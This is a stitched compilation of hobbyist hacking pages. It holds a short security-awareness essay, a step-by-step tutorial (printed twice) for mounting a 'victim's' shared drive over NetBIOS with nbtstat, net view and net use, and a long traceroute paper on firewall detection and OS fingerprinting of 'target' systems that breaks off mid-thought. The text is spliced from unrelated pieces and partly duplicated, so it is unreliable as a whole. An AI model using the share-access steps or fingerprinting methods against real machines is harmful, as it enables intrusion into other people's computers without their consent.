Internet users should know how to stop a ping, which is a utility used to determine whether a particular computer is currently connected to the Internet. It works by sending a packet to an IP address and waiting for a reply. (http://www.oit.ohio-state.edu/glossary/gloss3.html)To combat this problem, put up a simple firewall and close all the ports you’re not using. As you can see, there’s a lot to reconnaissance, and it should not be taken lightly. Always make sure that you keep your organization's information up to date. Make sure your web site only has business information and nothing that could help an attacker.
Scanning is also very important. It starts when an attacker scans your network for open ports using a port scanner. There are many port scanners available and most of them are the same. A port scanner sends a small signal to each port really fast to see if it's open or not. If it's not (or if it's open) it goes to the next port. After the scan, it tells the attacker which ports are open. Port scanners can also scan for vulnerabilities. This is great tool to run on your computer, but it can also be used to scan anyone's computer. This tool perfect for an attacker because not only does it tell the attacker what ports are open, it also tells what vulnerabilities there are with each open port.
Now its time learn how to protect your computer from port scanners. The simplest way is to download a firewall and close all the ports. (You can get one for free with Windows XP Service Pack 2, or you can download one from http://www.zonelabs.com/store/conte...reeDownload.jsp.)
After reconnaissance and scanning, it's time for the attacker to try to gain access to your computer. If the attacker has physical access to the computer, it makes life easier for him or her. Let's look at password cracking. There are tools that a hacker can download to crack your computer password. A normal tool an attacker will use can be downloaded for free and runs on Windows. Before the attacker can hack the passwords, the attacker well need the password hashes (the encrypted form of a password). Using the free cracking program, the hacker will run the hashes though the password cracker.
Here some ways to stop hackers:
1. Use passwords like "9ilikelowe9" that use both numbers and letters
2. Make sure to give administrator power to people you trust
Keeping access is the easiest way for an attacker. If the attacker has the password, and physical access to the computer, all they have to do is download a Trojan Horse. Once this happens, the attacker has full control of the computer. If the Trojan horse is on the administrative computer, they have all the control the administrator would have.
To stop a Trojan Horse, look for:
1. New software
2. New changes to settings or registry on the computer
3. Anti-virus is great for keeping up with Trojan Horses
Now that the attacker has what he wants. Let's look at how they cover their tracks. One way, and the only way I am going to talk about, is very simple. All the attacker has to do is configure Windows to hide folders . For more vital information visit (http://privacy.getnetwise.org/shari...a/hide-instruct)
Viruses
A virus, in a nutshell, is a program that does bad things. Viruses are mostly made in a programming language called visual basic. Viruses are mostly in a executable program, meaning you have to download something before the viruses works. E-mail viruses work the same way, but through e-mail attachments. Once the victim has downloaded the e-mail attachment, the virus goes to work. Many times it duplicates itself and infects other programs. Viruses can delete important programs and files and cause your computer to act funny and do things they're not supposed to. There's a lot of varieties of viruses than what is in this paper, but that's basically what a virus does. (More on this topic please go to) (http://www.viruslist.com/en/viruses...apter=152540474)
Protection
How do you protect your computer from e-mail viruses?
1. DO NOT DOWNLOAD FROM SITES YOU DO NOT TRUST
2. After every download, run a virus scan
3. Update your anti-virus software frequently
4. Before you download any attachment, run an anti-virus scan on it.
Conclusion
As you can see, there are many way that an attacker can hurt your computer. Lets reveiw.
1. They can steal personal and financial information
2. They can cause your computer to delete important information
3. They can cause your computer to malfunction
4. They can infect other computers from your computer
As you can see, there are many ways for attackers to destroy your computers. The sad thing is some people think hacking a computer is some sort of thing they can do anytime for fun. Children in school need to know that it's not a good idea to use their knowledge to hack. They shouldn't hack just because they think it's cool.Many places that don't have anti-virus software include libraries, both in school and in public. The libraries might think that it's not important to have anti-virus software or they simply don't think they can afford it. They should find a way to get the protection. Hackers can hack your computer only to use it to hack something bigger and better with your computer, making it seem like you're the one who hacked it.
HACKING NETWORK HARD DRIVES
How to hack network hard drives
Hacking Networks what I know
In this step by step guide you will learn about: How to Hack Network Hard Drives using the command prompt.
Things to remember
• CP = Command Prompt
• HDs = Hard Drives
Step by Step:
1. Open command prompt if it's block and you don't know how to get to it go to Using the command prompt under a limited account and then continue to step #2.
2. Once in command prompt type
c:\windows>nbtstat -a 203.195.136.156
(instead of the I.P. address type the real I.P. address or the name of the computer your trying to get to) and if you don't know how to get the name of the computer then go to what to do after hacking the C:\ drive and then continue to step #3.
3. Let say that it gives you this
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered
MAC Address = 00-02-44-14-23-E6
The number <20> shows that the victim has enabled the File And Printer Sharing.
-------------------------------------
NOTE - If you do not get this number there are three possible answers
A. You do not get the number <20> . This shows that the victim has not enabled the File and Printer Sharing.
B. You get "Host Not found". This shows that the port 139 is closed or the ip address or computer name doesn't exist or the computer you are trying to get to is turned off.
C. its still doesn’t matter if you don't get the <20> because this is to hack hard drives and not printers
4. Now in command prompt type
c:\windows>net view \\203.195.136.156
Let's suppose we get the following output
Shared resources at \\203.195.136.156
The computer's name will be here
Share name Type Used as Comment
-------------------------------------------
CDISK Disk
The command completed successfully.
5. The name CDISK is one of the things that being shared on command prompt type (the word Disk at the side its just saying what the the thing being shared is a printer, disk or a file)
c:\windows>net use k: \\203.195.136.156\CDISK
You may replace k letter by any other letter, If the command is successful we will get the confirmation - The command was completed successfully
Now just double click on the My Computer icon on your desktop
and there will be a new drive there with the letter that you replaced K with.
Continue to Hacking network printers with the command prompt
or
Back to Using the command prompt under a limited account
Back to Top
Hacking Tutorials
Home!
Command Prompt
Command Prompt CP on limited account Hack Network HDs Hack Network Printer
Hacking C:\ Drives & Servers
Security and Programs
Erasing Your Tracks
Hacking Tricks
Ethical & Unethical Hackers
My Space
Hacking The Xbox
Backing up your DVD's
Help
Link To Us
Working Projects & New Stuff
Wonderful Images
About Me / Contact Me
Disclaimer
Links
________________________________________
© 2006 Master Juan. All rights reserved.
Contact Me| Rate My Site | Forum | SiteMap | Disclaimer
Hacking Networks what I know
In this step by step guide you will learn about: How to Hack Network Hard Drives using the command prompt.
Things to remember
• CP = Command Prompt
• HDs = Hard Drives
Step by Step:
1. Open command prompt if it's block and you don't know how to get to it go to Using the command prompt under a limited account and then continue to step #2.
2. Once in command prompt type
c:\windows>nbtstat -a 203.195.136.156
(instead of the I.P. address type the real I.P. address or the name of the computer your trying to get to) and if you don't know how to get the name of the computer then go to what to do after hacking the C:\ drive and then continue to step #3.
3. Let say that it gives you this
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered
MAC Address = 00-02-44-14-23-E6
The number <20> shows that the victim has enabled the File And Printer Sharing.
-------------------------------------
NOTE - If you do not get this number there are three possible answers
A. You do not get the number <20> . This shows that the victim has not enabled the File and Printer Sharing.
B. You get "Host Not found". This shows that the port 139 is closed or the ip address or computer name doesn't exist or the computer you are trying to get to is turned off.
C. its still doesn’t matter if you don't get the <20> because this is to hack hard drives and not printers
4. Now in command prompt type
c:\windows>net view \\203.195.136.156
Let's suppose we get the following output
Shared resources at \\203.195.136.156
The computer's name will be here
Share name Type Used as Comment
-------------------------------------------
CDISK Disk
The command completed successfully.
5. The name CDISK is one of the things that being shared on command prompt type (the word Disk at the side its just saying what the the thing being shared is a printer, disk or a file)
c:\windows>net use k: \\203.195.136.156\CDISK
You may replace k letter by any other letter, If the command is successful we will get the confirmation - The command was completed successfully
Now just double click on the My Computer icon on your desktop
and there will be a new drive there with the letter that you replaced K with.
Continue to Hacking network printers with the command prompt
or
Back to Using the command prompt under a limited account
Back to Top
Hacking Tutorials
Home!
Command Prompt
Command Prompt CP on limited account Hack Network HDs Hack Network Printer
Hacking C:\ Drives & Servers
Security and Programs
Erasing Your Tracks
Hacking Tricks
Ethical & Unethical Hackers
My Space
Hacking The Xbox
Backing up your DVD's
Help
Link To Us
Working Projects & New Stuff
Wonderful Images
About Me / Contact Me
Disclaimer
Links
________________________________________
© 2006 Master Juan. All rights reserved.
Contact Me| Rate My Site | Forum | SiteMap | Disclaimer
TRACEROUTE
Traceroute is definitely a very exciting tool or utility. It should indeed be a part of every hacker's toolkit as it can be used to gain some very important information regarding the target system's configuration and its network configuration. In this white paper, we will not only understand the workings and intricacies of this kewl utility, but we will also explore all its possible uses and
resourcefulness.
Traceroute was originally developed with the intention of providing a debugging tool, which could be used to pinpoint the exact system or computer on a network (Internet or a Local Network), which was causing the problem experienced. Whenever there was a problem in the data transit or whenever there was a network problem, then the traceroute tool provided the network administrator with an option, which could be used to pinpoint the exact system in the network that was the root of the problem. In other words, the traceroute tool could be used to trace the path of the entire network or a part of the entire network and in this process pinpoint the exact system that was causing the problem experienced.
However, the bottom line remained that the traceroute tool could indeed be used to trace the path taken by a packet from the source system to the destination system, over the Internet.
Whenever a particular chunk of data is to sent from the source system to the destination system, then the data packets sent are first routed through a number of routers (on way to the destination system and if there are any routers in between.) and only then do the data packets arrive at the destination system. The typical path taken by data packets sent by the source to the destination has been depicted by the below figure:
Source System---------Ã Router of the Source Network----------Ã Router of the Source Network's ISP-------Ã Router of the Destination 's ISP-------Ã Router of the Destination Network-----Ã Destination System.
Whenever data travels over the Internet, then it is not necessary that the data packets in question, would automatically take the shortest path possible from the source to the destination system. More often than not, data packets sent across a network end up taking a much longer route than what the shortest route is. This means that most of the times data packets sent across a network end up taking more time for the data transit to be completed, than what it should actually be taking. This brings us to a widely known feature of the Internet:
"It is not necessary for all data packets sent from the same source system to the same destination system across a network, to take the same exact route every single time."
Thus the traceroute tool can be used in order to trace the route taken by data packets from the source system to the destination system. Traceroute displays all the routers through which data packets pass on way to the destination system from the source system. Thus, in effect, we come to know the exact path taken by the data packets in the data transit.
"Traceroute can be used to depict the exact path taken by data packets from the source system to the destination system. However, the path displayed by Traceroute for two data packets sent from the same source system to the same destination system in two different sessions may or may not vary."
For Example,
The below example exhibits a simple traceroute to a remote host, displaying all the routers on way to the destination system:
C:\WINDOWS>tracert 202.*.2.241
Tracing route to 202.*.2.241over a maximum of 30 hops:
1 146 ms 138 ms 126 ms 203.94.246.35
2 146 ms 137 ms 127 ms 203.94.246.1
3 126 ms 133 ms 129 ms 203.94.255.33
4 130 ms 122 ms 128 ms 206.103.10.113
5 134 ms 139 ms 132 ms 203.200.87.75
6 140 ms 125 ms 128 ms 203.200.87.15
7 220 ms 146 ms 137 ms delhi-stm1.Bbone.vsnl.net.in [202.*.2.241]
Traceroute: A Look Under The Hood
The Internet Control Message Protocol or the ICMP protocol is that protocol of the TCP/IP suite, which handles or is used for diagnosing networking problems and reporting error messages. Whenever an error occurs during the data transit then the ICMP protocol jumps in and does the job of reporting and displaying the error that occurred. Thus, the main function of the ICMP protocol is to communicate the error messages to the host and the client systems.
"The ICMP Protocol reports and displays all errors that took place in the data transfer."
The Traceroute tool can be considered to be a part of the ICMP protocol as it makes use of mainly this protocol. The reason why traceroute is able to display the path between the source and destination system is by making use of the ICMP protocol and the error messages that it displays.
The format of a typical ICMP error message, is as follows:
____________________________________________________________________
| | | |
| 8-Bit Type | 8-bit Code | Checksum Value |
| | | |
|_____________ |_____________________|________________________________|
| |
| |
| |
| (Contents depending upon Error that occurred.) |
| |
| |
| |
|___________________________________________________________________ |
The 'Type' and 'Code' fields are the fields, which stand for the type of error message that has occurred. These fields contain a particular value, which tells the client and the host systems as to what error has occurred.
The two error messages that Traceroute mainly makes use of are as follows:
1. The Time Exceeded error message: It has a 'type' value of 11 and a 'code' value of 0. The Time Exceeded error occurs when a particular system receives a data packet with a TTL or Time to Live value of 0 or 1. The below will further explain as to when the this error message is displayed:
"If a system receives a data packet whose TTL field has a value of 0 or 1, then it sends the Time Exceeded error message to the client, who sent the data packet to it."
2. The Port Unreachable error message: It has a 'type' value of 3 and a 'code' value of 3. This error message is displayed when the client system is trying to establish a connection with the host system on a closed port. In other words, such an error occurs when the client system is trying to establish a connection with a port where there is no service or daemon running.
"If a client tries to establish a connection with the host on a closed port, then the host replies with a Port Unreachable error message, sent to the client."
It is with the use of these two ICMP error messages that the Traceroute tool is able to display or trace the exact path from the source system to the destination system. Before we move onto the exact explanation of the working of the traceroute tool, let us learn as to what TTL or Time to Live is?
The Time To Live or the TTL value of a data packet is an 8-bit field, which determines the maximum number of routers through which that particular data packet can pass through. In other words, the TTL value decides the maximum number of routers through which the data packet can pass, before it must be discarded. The TTL value is to a data packet, what the value of maximum age is to a human.
The TTL value depicts the maximum number of routers through which it can pass, before it is declared 'dead' and is dropped.
The TTL value of a packet is set by the source system each time a new data packet is sent by it. The value of the TTL field set by the source system varies from system to system depending upon the operating system running on it. Each router receiving a data packet is expected to decrement the TTL value of that particular packet by 1. This means that if the initial TTL value set by the source system is 64 and if this particular packet passes through 2 routers, then its final TTL value will become 62.
Each time a router receives a data packet, it checks to see what the TTL value of that particular packet is. According to the TTL value of the received packet, the following two cases can take place:
1. If the TTL value of the received packet is greater than 1, then the router decrements this TTL value by 1 and forwards the data packet to the next router.
2. If the TTL value of the received packet is either 0 or 1, then the router discards the data packets and sends back a "Time Exceeded" ICMP error message to the source system, which originally had sent the data packet.
"If the TTL value of the received data packet is greater than 1, then the router decrements the TTL value by 1 and forwards the data packet to the next router. However, if the TTL value of the received data packet is either 0 or 1, then the router discards the packet and sends back a Time Exceeded ICMP error message to the source system."
The original reason behind the introduction of the TTL value was to ensure that the data packets sent across networks, do not end up in infinite loops, which may occur due to unfinished transactions or when the client or server shuts disconnects from the network without following the proper steps required to close all the open connections. However, today the same concept of TTL values is being widely used in the form of the Traceroute command in order to trace paths between source and destination systems on the
Internet.
The first step in the traceroute command is that it creates a packet with a TTL value of 1 and sends it to the destination system (to which the path is to be traced). The first router on way to the destination system from the source system (on which the command was executed) will discard the data packet, as the TTL value of this received data packer is 1. In addition, this first router will also send back a "Time Exceeded" error message to the source system. Since this Time Exceeded error message received by the source system, has its source IP Address as that of the first router, as a result the traceroute tool (running on the source system) will come to know this IP Address of the first router. In this way, the traceroute command comes to know the Address of the first router on the path to the destination system and displays it on the screen.
Similarly, in the next step, traceroute sends a data packet with a TTL value of 2 to the destination system. The first router receiving this data packet will decrement the TTL value of the packet by 1 to 1 and then it would forward the packet to the second router on path to the destination system. This second router would in turn, discard this packet and send back a "Time Exceeded" error message to the source system. Hence, revealing its IP Address. Please note that the second router discards this packet, as the TTL value of this packet is 1.
This process of sending packets with increasing TTL values is carried out, until the data packet has a TTL value high enough to make sure that it reaches the destination system.
Following the above method, Traceroute is able to trace the entire path from the source system to the destination system and also in the process gather the hostnames and IP Addresses of all routers on the path. Until now traceroute has made use of only the first (Time Exceeded) of the two ICMP error messages that we discussed earlier.
When the TTL value is high enough for the data packet to reach the destination system, then by the time the destination system receives the data packet, its TTL value would have been decremented to 1. However, even though the destination system will receive a data packet having a TTL value of 1, it will not discard the packet. This is because the destination (i.e. the system to which the path was to be traced) has been reached. Since the destination system does not discard the data packet that it receives, it means that the destination system does not generate a Time Exceeded error message. As a result, since no "Time Exceeded" error message is generated, the source system does not have any way by which it can ensure that the destination system has been reached.
Thus, in order to deduce that the destination system has indeed been reached, the traceroute command makes use of the "Port Unreachable" error message.
We have already seen in the previous sections that the host generates the "Port Unreachable" error message, when a client is trying to establish a connection with it on a closed port. Traceroute sends UDP (User Datagram Protocol) packets to the destination system on extremely high ports. These high port numbers are chosen in such a manner, that the traceroute tool is sure that there is no service running on these high ports. In effect, the traceroute tool is actually trying to establish a connection on a closed port. Since the destination system receives UDP packets addressed to high "closed" ports, it thus replies with the "Port Unreachable" ICMP error message.
The source system thus can identify that the destination system has been reached, as it would receive a "Port Unreachable" error message from it.
"In the Traceroute tool, if the source system receives a Time Exceeded error message, then a router must have generated it. However, if the source system receives a Port Unreachable error message, then the destination system must have generated it"
The actual working of the traceroute command can be summarized in the following steps:
1. The Traceroute tool sends UDP packets to the destination system on a high port number chosen such that there is no service running on it. Since the chosen port to which the UDP packet have been sent is closed, as a result the destination system replies with a "Port Unreachable" ICMP error message. In this manner, the source system gets to know the Destination system's identity.
2. Traceroute then performs the process of sending data packets with increasing TTL values to the destination system, starting with the initial TTL value of 0. This process reveals the identity of all the routers on the path from the source to the destination system.
3. Traceroute just has to differentiate between the two ICMP error messages that it engineered and received and it will be able to trace the path from the source system to the destination system. The fact that the routers generate a different error message as compared to the destination system is used to differentiate between the two.
"Each router that handles an IP datagram is required to decrement the datagram's TTL value by one or by the number of seconds it holds it. As almost all routers do not hold a datagram longer that 1 second, the TTL value has thus essentially become a hop counter, giving the number of routers through which the datagram has passed."
The following is an example of the typical results displayed by a traceroute command executed on a Windows system:
C:\WINDOWS>tracert yahoo.com
Tracing route to yahoo.com [216.115.108.243] over a maximum of 30 hops:
1 308 ms 142 ms 127 ms 203.94.246.35
2 140 ms 135 ms * 203.94.246.1
3 213 ms 134 ms 132 ms 203.94.255.33
4 134 ms 130 ms 129 ms 203.200.64.29
5 122 ms 135 ms 131 ms 203.200.87.75
6 141 ms 137 ms 121 ms 203.200.87.15
7 143 ms 170 ms 154 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]
8 565 ms 589 ms 568 ms if-7-0.bb8.NewYork.Teleglobe.net [207.45.198.65]
9 596 ms 584 ms 600 ms if-3-0.core2.NewYork.teleglobe.net [207.45.221.66]
10 * * * Request timed out.
11 703 ms 701 ms 719 ms if-3-0.core2.PaloAlto.Teleglobe.net [64.86.83.205]
12 694 ms 683 ms 681 ms if-6-1.core1.PaloAlto.Teleglobe.net [207.45.202.33]
13 656 ms 677 ms 700 ms ix-5-0.core1.PaloAlto.Teleglobe.net [207.45.196.90]
14 667 ms 673 ms 673 ms ge-1-3-0.msr1.pao.yahoo.com [216.115.100.150]
15 653 ms 673 ms 673 ms vl20.bas1.snv.yahoo.com [216.115.100.225]
16 666 ms 676 ms 674 ms yahoo.com [216.115.108.243]
Trace complete.
Uses of the Traceroute command
Besides being used to identify the system causing the problem in the data transit, traceroute is also used for several different purposes:
1. To trace the geographical location of a particular system.
If one observes the above example closely, then one would find that Traceroute also displays the hostnames of all routers on way to the destination system and also the hostname of the destination system. Hostnames are nothing but the human understandable representations of IP Addresses. They besides containing the address of a system also may or may not store within themselves, some important information on the geographical location of that particular system.
For Example,
In our example we see that the ninth hostname displayed by traceroute is:
if-3-0.core2.NewYork.teleglobe.net
This hostname clearly indicates that that particular router is situated in New York, USA.
Similarly, one should also watch out for hostnames ending in country codes.
For Example,
xyz.jp would mean that that particular system is situated in Japan.
For a complete Country Code Reference List, kindly visit: http://hackingtruths.box.sk/cc.txt
Thus, we can say that Traceroute in some cases can actually be used to pinpoint the exact location of a system on the globe. In most cases, Traceroute is indeed able to locate the city and country in which a particular system is located. Visual Traceroute is specifically widely used for tracing the geographical location of a system on the Internet.
2. To Get Information on Network Topography
Using the traceroute command, one can find out the manner in which a particular network is structured, the class to which it belongs and in general, to get related information on topography of a remote network. Getting more information on the network topography of the target network can be used to determine a list of possible weak points, which could be exploited.
3. Firewall Detection Purposes
Using the traceroute tool, one can also detect the presence of a firewall installed on the target system's network. If you execute traceroute and find the '*' (asterix) sign as an entry in the output, then it means that the traceroute attempt has timed out. However, if you repeat the same traceroute procedure to the target system several times at different times of the day and still receive the same output with the '*', then it probably means that a firewall has been installed on the target system. The asterix signs are being displayed as the firewall installed on the target system's network is filtering out your traceroute attempts and as a result, the target system does not reply to your requests and thus a time out is "artificially created" by the firewall.
The above concept can be summarized in the following steps:
1. Your traceroute program sends packets to the target system, however the firewall installed on the target system's network intercepts these packets, making sure that the target system does not receive them.
2. Since the target system does not receive the Traceroute data packets, as a result it does not reply with the ICMP error message, as it is normally supposed to. Thus, your system does not receive any response.
3. After the passage of some amount of time, if still no response is received, then the connection gets timed out, due to "artificial" conditions created due to the filtering done by the firewall. As a result, asterix are displayed in the output.
A typical output, which shows the presence of a firewall installed on the target system, is as below-:
C:\windows>tracert target.com
Tracing route to target.com [207.x.197.100] over a maximum of 30 hops:
1 140 ms 126 ms 128 ms 203.94.246.35
2 137 ms 125 ms 138 ms 203.94.246.1
3 125 ms 136 ms 169 ms 203.94.255.33
4 137 ms 139 ms 130 ms 203.200.64.149
5 138 ms 119 ms 130 ms 203.200.87.15
6 168 ms 157 ms 161 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]
7 345 ms 377 ms 359 ms if-4-0.bb7.NewYork.Teleglobe.net [209.58.17.5]
8 351 ms * 407 ms if-3-2.core2.NewYork.Teleglobe.net [207.45.220.09]
9 445 ms 450 ms 425 ms if-8-0.core1.Seattle.Teleglobe.net [64.86.83.1]
10 432 ms 436 ms 437 ms if-8-0-0.bb1.Seattle.Teleglobe.net [207.45.223.8]
11 766 ms 740 ms 668 ms iuscmdistc1206-p-7-0.msft.net [207.46.190.117]
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
Ctrl+C
In the above output, we see that after hop number 11, no results are shown. The same procedure of traceroute is repeated several times, however, still we receive the same result. This probably means that a firewall is installed after router number 11 and it is filtering out all traceroute attempts.
4. Remote OS Detection using Traceroute
Traceroute used along with a packet sniffer can be used to detect the name and version of the operating system running on the target system.
We have already learnt that the TTL value of a data packet is an 8-bit value, set by the system, which originally created and sent that particular data packet. Every operating system has a certain default TTL value associated with it. Every operating system assigns this default TTL value to all outgoing data packets. This in effect means that the initial TTL values of all data packets originating at the same operating system will be same.
This means that if there are two different systems, each running Windows 95, then all packets sent by either of these two systems (running the same operating system) will actually have the same initial TTL value. Hence, different operating systems assign different TTL values to all outgoing packets, while all systems running the same operating system will attach the same TTL value to all outgoing data packets.
"Initial TTL values of all data packets originating at the same OS but different systems will be same. However, TTL values of all data packets originating at the same system (where two OS's are running) but sent using different Operating systems will have different initial TTL values."
The below is a complete reference list of operating systems and their respective initial, default TTL values:
Note: The following table is courtesy Lance Spitzner and the Honeypot Project.
OS VERSION PLATFORM TTL
Windows 9x/NT Intel 32
Windows 9x/NT Intel 128
Windows 2000 Intel 128
DigitalUnix 4.0 Alpha 60
Unisys x Mainframe 64
Linux 2.2.x Intel 64
FTX(UNIX) 3.3 STRATUS 64
SCO R5 Compaq 64
Netware 4.11 Intel 128
AIX 4.3.x IBM/RS6000 60
AIX 4.2.x IBM/RS6000 60
Cisco 11.2 7507 60
Cisco 12.0 2514 255
IRIX 6.x SGI 60
FreeBSD 3.x Intel 64
OpenBSD 2.x Intel 64
Solaris 8 Intel/Sparc 64
Solaris 2.x Intel/Sparc 255
Before we move onto the step-by-step guide to OS Detection with the help of TTL values and traceroute, there are certain rules, which one must remember:
a.) All packets sent by a particular operating system will have the same initial TTL value, which will decrement, each time that particular packet passes through a router.
b.) TTL values are stored in the TTL field, which is a part of the IP Header of a data packet. ICMP error messages are nothing but error messages encapsulated within an IP Datagram. These IP datagrams have the TTL field as one of its fields. This means that an ICMP error message too will have an IP Header with it and in effect all ICMP error message too will have a TTL value associated with them.
Thus, one can easily determine the OS running on the remote system by following the below steps-:
a.) Determine the number of hops (routers) between your system and the target system
The first step to perform is to determine the number of hops between your system and the target system. In other words, one must determine the number of routers on path to the target system from your system i.e. number of routers between your system and the target system. This can easily be done, by using the traceroute command.
C:\windows>tracert target.com
Tracing route to target.com [203.x.y.224] over a maximum of 30 hops:
1 308 ms 142 ms 127 ms 216.34.46.11
2 140 ms 135 ms * 203.94.246.1
3 213 ms 134 ms 132 ms 203.94.255.33
4 134 ms 130 ms 129 ms 203.200.64.29
5 122 ms 135 ms 131 ms 203.200.87.75
6 141 ms 137 ms 121 ms 203.x.y.224
Trace Complete.
In the above example, we see that the target system was reached in 6 steps. This means that there are 5 routers separating your system and the target system. In other words, if data is sent from your system to the target system or if data is sent from the target system to your system, then as there are 5 routers through which the data must pass, as a result the TTL value of the data packets will be decremented by 5 in the data transit.
In other words, if the initial TTL value of the data packet were set to 128 by the target system, then when your system receives that particular data packet, then its TTL value would already have been reduced to 123. (As it passes through 5 routers in the data transit.)
"The number of routers in between your system and the target system, tells you as to by how much the initial TTL value set by either system will be reduced in the data transit between the two systems."
In our example, we have already seen that since there are 5 routers in between our system and the target system, thus the TTL value is reduced by 5 in the data transit, between the two systems.
b.) Determine the final TTL value of a data packet sent by the target system to your system
When the target system sends a data packet to your system, then it sets the initial TTL value of the data packet to a default value (according to the earlier chart.). Each router on the path from the target system to your system reduces this initial TTL value by 1 and forwards the data packet to the next router. Finally, when your system receives that particular data packet, then the TTL value of the data packet at that time is less than the initial TTL value that it was given by the target system, as the routers had already reduced the TTL value.
Hence, the TTL value of a data packet when your system receives it (final TTL value) is much lesser than the initial TTL value that the same data packet was given by the target system. This difference in the TTL values of the data packet is due to the fact that each router in the path, reduce the TTL value of the data packet by one.
"The initial TTL value is the TTL value set by the target system, while the final TTL value is the TTL value which the same data packet has, when it reaches your system. The initial TTL value is always greater than the final TTL value."
The final TTL value of a data packet sent by the target system can easily be determined by sending any arbitrary data to the target system. The response generated by the target system, due to this arbitrary packet can then be found out, by logging all incoming data packets, on your system, using a packet sniffing software.
In our example, we run the packet-sniffing tool in the background, while we simply do a traceroute on the target system. This packet-sniffing tool must be configured to monitor and log all incoming data packets.
When we traceroute the target system (or send any other arbitrary data to the target system) then we generate a response from the target system. Since we use traceroute in our example, the target system generates an ICMP error message, which is nothing but an error message encapsulated within an IP Datagram. Hence, since the packet sniffing software is monitoring and logging all incoming data packets, it is thus also able to log the incoming ICMP error message.
Once we have logged the response generated by the target system we can easily determine the reduced or final TTL value of the packet containing this response.
For our example, let us assume the final TTL value to be 27. We already know that the number of routers between our system and the target system is 5.Thus in other words the TTL value of a data packet sent by the target system to our system, is reduced by 5.
Initial TTL value of a data packet= Final TTL value of the packet + Number of routers in the path
As a result, in our example, hence the initial TTL value becomes 27+5=32.
c.) Comparing the Deduced Initial TTL value to the default TTL values chart
In the previous step, we have deduced the initial TTL value set by the target system, to be 32. If we compare this initial TTL value, to the chart, then we know that the target system is probably running either Windows NT or Windows 9x.
Hence, by following the above 3 steps in which we make use of traceroute, TTL values and packet sniffers, we can thus, get a very good idea regarding the type of Operating system running on the target system. The process of OS Detection discussed above, can be summarized in the following steps:
1. Determine the number of hops away, the target system lies. This can be done using the traceroute tool.
2. Send any arbitrary data to the target system, in order to generate a response. This response is logged using a packet-sniffing tool running on your system. Using the sniffed data, determine the final TTL value of the target system.
3. Use the relation: Initial TTL value= Final TTL value + Number of hops away it is located, to determine the target system's initial TTL value.
4. Finally, compare the initial TTL value determine in Step 3 with the chart and get the OS running on the target system.
Example for Remote OS Detection using this method
Following the above 4 steps method, let us take an example, to determine the operating system running on the target system.
1. In the first step, we traceroute the target system to determine the number of hops away the target system lies. This is done in the using the simple traceroute tool:
C:\WINDOWS>tracert 202.x.2.241
Tracing route to target.net.in [202.x.2.241] over a maximum of 30 hops:
1 130 ms 121 ms 133 ms 203.94.246.35
2 132 ms 128 ms 120 ms 203.94.246.1
3 123 ms 126 ms 125 ms 203.94.255.33
4 193 ms 137 ms 128 ms 203.200.64.153
5 128 ms 133 ms 127 ms 203.200.87.15
6 204 ms 141 ms 154 ms target..net.in [202.x.2.241]
Here we see that the target system (i.e. target.net.in) is 5 hops away from our system. In other words, there are 5 routers between our system and the target system.
2. In the second step, using a packet sniffing software, we find that each time we send a Data packet to the target system, it replies with a response whose TTL value is always 250.
3. Using the relation discussed earlier, we find that the initial TTL value of all data Packets sent by the target system, to our system is 250+5=255.
4. Comparing this initial TTL value to the chart, we find that the operating system Running on the target system is probably Solaris. (We remove Cisco from the list of probabilities by other remote OS detection methods, like banner grabbing, command manipulation, passive and active fingerprinting, ICMP scanning etc.)
Shortcomings and Countermeasures to OS Detection
This type of remote OS Detection method may not be accurate every single time. This method, however, most of the times does remain fairly accurate.
One simple countermeasure that one could apply to prevent OS detection through prediction of initial TTL value of your system is by changing the default TTL value that your operating system assigns to all outgoing packets.
"Traceroute can be used to detect firewalls, remote OS detection, getting information on network topography, tracing a system geographically and to detect infinite loops routing errors in networks etc."
Breeds of the Traceroute Command
There are several variations or breeds of the very popular Traceroute tool. The most common and popular forms of the traceroute utility are as follows:
1. Text Based Traceroute Tools
Almost every operating system ships with its own text based traceroute tool. Such text based traceroute tools display the path from the source system to the destination system, in the form of a normal text based result page. Such traceroute tools are probably the most commonly available and most commonly used. They are quite effective too.
Pros and Cons
+Ships with almost all operating systems
+Free to use
+Classic example of the traceroute tool
-Not as visually appealing as other breeds
2. Visual Traceroute:
This breed of the traceroute tool is in my opinion probably the easiest to use, best and most effective breed. It maps the path from the location of the source system to that of the destination system on a world map and is very accurate in this respect. It not only displays the exact geographical location of the systems, but also mentions the IP Addresses of all systems and their organization names. Visual Traceroute's latest version also has a new feature, which claims to trace the location of email spammers and analyze and detect network problems.
Pros and Cons
+Maps the path on a world map
+Very Accurate
+Visually Attractive and Easy to use
+Displays names of organization owning the servers
-Not Free to Use
3. 3D traceroute Programs: The final breed of Traceroute tools is also a quite good and effective one. The 3D Traceroute program displays the path from the source system to the destination system, in the form of a 3D graph. It also displays tons of other information, including the minimum, maximum, average and standard deviation. On top of everything, this program also displays the exact latitude, longitude and altitude at which the routers and the destination system are located. I would definitely recommend this program to be checked out at least once by every one even remotely related to computer security.
Pros and Cons
+Free to Use
+Displays tons of information about routers and destination system
+Effective and displays even advanced information
-Lacks a bit on the Usability side
Download URL: http://www.hlembke.de/prod/3dtraceroute/
Fadia's Hot Pick for Traceroute Breeds
1. Utility Name: Visual Traceroute
Features: Maps the path to a remote system on a world map and displays the hostname, name and other important information about all routers and even the destination system.
Download URL: http://www.visualware.com/visualroute/index.html
Anonymous 'Tracerouting'
No matter what tool one might use to Trace the path to the target system, one is always exposing ones identity to the target system. Each time you traceroute a remote system, you are actually putting your IP Address or putting your identity at risk and are putting behind your traces (read: IP Address) on the target system's log files.
This means that the system administrator of the target system does actually come to know your identity and he might also be able to trace you. Thus, arises the need of a technique of Anonymous Tracerouting.
When you normally traceroute a remote system, using any normal technique, then since a direct connection has been established between your system and the remote system, thus your identity gets revealed to the remote system. However, on the other hand, if there were a way by which one could perform a traceroute on a target system via an indirect connection, then one's identity would be
protected.
